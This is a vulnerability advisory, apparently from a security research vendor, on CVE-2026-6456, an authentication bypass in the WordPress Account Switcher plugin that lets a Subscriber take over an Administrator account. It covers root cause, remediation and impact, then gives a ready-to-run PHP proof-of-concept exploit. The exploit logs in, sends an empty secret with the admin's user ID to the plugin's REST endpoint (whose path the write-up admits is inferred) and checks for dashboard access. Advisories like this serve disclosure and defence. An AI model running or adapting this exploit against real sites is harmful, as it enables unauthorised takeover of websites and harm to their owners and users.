Atomic Edge analysis of CVE-2026-6456 (metadata-based):
This vulnerability affects the Account Switcher plugin for WordPress, versions 1.0.2 and earlier. It allows an authenticated attacker with Subscriber-level access to escalate their privileges to Administrator by exploiting a flawed authentication bypass in the REST API. The CVSS score of 8.8 reflects the high impact and ease of exploitation.
The root cause stems from two distinct flaws. First, the `rememberLogin` REST API endpoint uses a loose comparison (`!=` instead of `!==`) when validating a secret. Second, the endpoint does not verify that the secret is non-empty before performing the comparison. When a target user has never used the “Remember me” feature, their `asSecret` user meta does not exist, causing `get_user_meta()` to return an empty string. An attacker can send an empty `secret` parameter, which passes the loose comparison (`” != ”` evaluates to `false`), and the endpoint calls `wp_set_auth_cookie()` for the target user. Additionally, all REST routes use `permission_callback => ‘__return_true’` with no capability checks. This is inferred from the CVE description and CWE-287, as no code diff is available.
Exploitation requires a valid WordPress user account (Subscriber or higher). The attacker logs in and sends a POST request to the REST API endpoint, likely at `/wp-json/account-switcher/v1/remember-login` or similar, with an empty `secret` parameter and a target user ID. Because the endpoint lacks capability checks, the attacker can specify any user ID, including an Administrator. The empty secret passes the loose comparison, and the endpoint switches the authentication cookie to the target user. The attacker then has full administrative access.
Remediation requires fixing both flaws. The development team should replace the loose comparison (`!=`) with a strict comparison (`!==`). They must also add a check to reject empty or non-existent secrets. Finally, all REST API routes should include proper capability checks, such as `current_user_can(‘manage_options’)` for administrative actions, instead of `permission_callback => ‘__return_true’`.
If exploited, an attacker gains full administrative privileges on the WordPress site. This allows them to install malicious plugins, modify content, create or delete users, access the database, and potentially execute remote code by uploading PHP files or editing theme files. The impact is total site compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6456 - Account Switcher <= 1.0.2 - Authenticated (Subscriber+) Authentication Bypass to Privilege Escalation
// Configuration:
$target_url = 'https://example.com'; // Change this to the target WordPress site URL
$username = 'attacker'; // Subscriber-level account username
$password = 'attacker_password'; // Subscriber-level account password
$target_user_id = 1; // Target Administrator user ID (usually 1)
// Step 1: Login to get authentication cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Exploit the vulnerability by calling the REST API endpoint with an empty secret
$rest_url = $target_url . '/wp-json/account-switcher/v1/remember-login';
$payload = array(
'user_id' => $target_user_id,
'secret' => '' // Empty secret triggers the loose comparison bypass
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Cookie: ' . file_get_contents('/tmp/cookies.txt')
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Verify exploitation - try accessing the admin dashboard
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$admin_response = curl_exec($ch);
curl_close($ch);
// Check if we got admin access (typically dashboard contains "Dashboard" heading)
if (strpos($admin_response, 'Dashboard') !== false) {
echo "[+] Exploit successful! Got admin access.n";
} else {
echo "[-] Exploit may have failed. Check if the target is vulnerable.n";
}
?>
